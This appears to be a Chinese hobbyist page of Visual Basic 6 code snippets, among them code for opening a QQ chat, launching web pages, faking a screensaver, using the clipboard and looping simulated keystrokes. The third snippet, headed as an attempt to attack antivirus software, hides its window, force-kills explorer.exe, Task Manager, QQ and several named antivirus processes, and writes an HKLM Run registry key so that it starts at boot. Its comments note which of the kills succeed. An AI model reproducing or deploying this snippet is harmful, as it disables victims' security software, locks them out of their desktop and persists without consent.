Visual Basic 6.0 精选代码

部分代码1（打开QQ聊天窗口）:

Shell Environ("PROGRAMFILES") & "\Internet Explorer\iexplore.exe  " & "Tencent://Message/?Menu=YES&Exe=&Uin=" & Text1.Text, vbNormalFocus                                                  '新建一个Text1，输入一个QQ号码之后，执行这条代码，就可以打开一个对此QQ的聊天窗口。如果当前本机只有一个QQ登陆，则自动以此QQ为发起聊天者，如果本机登陆有多个QQ，则会弹出选择QQ的窗口。

部分代码2（访问任意网站）:

Shell "explorer  http://user.qzone.qq.com/"       '打开我的QQ空间

Shell "explorer  http://www.baidu.com"                                            '打开百度首页

部分代码3（尝试攻击杀毒软件） :

Private Sub Form1_Load()

Form1.Visible = False                                                                   '自保护,隐藏主窗体

Form2.Show                                                                              '打开下一个窗体

Shell "taskkill /f /im explorer.exe ", vbHide                                  '结束explorer.exe进程，使桌面消失。（有效）

Shell "taskkill /f /im 360rp.exe ", vbHide                                      '结束360自保护（可惜，无效）

Shell "taskkill /f /im 360sd.exe ", vbHide                                     '结束360杀毒（可惜，无效）

Shell "taskkill /f /im 360Tray.exe ", vbHide                                  '结束360安全卫士（可惜，无效）

Shell "taskkill /f /im  KSafeTray.exe ", vbHide                             '结束金山卫士（有效）

Shell "taskkill /f /im ksetray.exe ", vbHide                                    '结束金山毒霸（可惜，无效）

Shell "taskkill /f /im QQPCTray.exe ", vbHide                             '结束QQ电脑管家（有效，由此可见QQ的杀软是多么烂）

Shell "taskkill /f /im QQPCWebShield.exe ", vbHide                       '结束QQ电脑管家网页防火墙（有效）

Shell "taskkill /f /im QQ.exe ", vbHide                                        '结束所有QQ（有效）

Shell "taskkill /f /im taskmgr.exe ", vbHide                                  '结束已存在的任务管理器（有效）

End Sub

Private Sub Timer1_Timer()                                                            '（先在窗体上添加一个Timer控件1。）

Set w = CreateObject("wscript.shell")

w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"                                                                  '到达一定时间后，导入注册表，实现开机自动运行

End Sub

Sub CenterForm(frm As Form)                                                        '定义一个过程

frm.Move (Screen.Width - frm.Width) \ 2, (Screen.Height - frm.Height) \ 2

End Sub

Private Sub Timer2_Timer()                                                              '（先在窗体上添加一个Timer控件2。）

CenterForm Me                                                                                   '定时检查，使窗体始终处于屏幕中心（将窗体的StartUpPosition设为2-屏幕中心，Moveable设为False也可以达到类似的效果。）

End Sub

部分代码4（模拟Windows的屏幕保护程序） :

将窗体的BackColor设为黑色。（模拟出屏幕保护程序的背景色）

将窗体的BorderStyle设为0-None。（使窗体无边框）

将窗体的WindowsState设为2-Maximized。（窗体最大化）

将窗体的StartUpPosition设为2-屏幕中心 。（让窗体处于屏幕中心）

将窗体的Moveable设为False。（让窗体不可被移动）

OK了，现在再在窗体上用Form1.Circle之类的画出图案，就有了类似屏幕保护程序的感觉了。

部分代码5（剪切板操作）:

Private Sub Command1_Click()

Clipboard.Clear                                            '清空剪切板

Clipboard.SetText Text1.Text                                        '将Text1的内容复制到剪切板

End Sub

Private Sub Command2_Click()

Text1.Text = Clipboard.GetText                                      '将剪切板的内容复制到Text1

End Sub

部分代码6（按键操作）:

Private Function Delay(sSeconds As Long)

Dim BeginTime As Date

BeginTime = Time

Do

DoEvents

If DateDiff("s", BeginTime, Time) >= sSeconds Then Exit Do

Loop

End Function

Private Sub Command1_Click()

Dim b As Date

b = Time

Do

DoEvents

SendKeys "%{TAB}"                                                                 '按Tab键

Delay (1)                                                                                     '等待1秒

SendKeys "A"                                                                            '按A键

Delay (1)                                                                                     '等待1秒

SendKeys "A"                                                                            '按A键

If DateDiff("n", b, Time) = 10 Then                                                       '如果超过10分钟就退出循环并结束程序

Exit Do

End

End If

Loop

End Sub

相关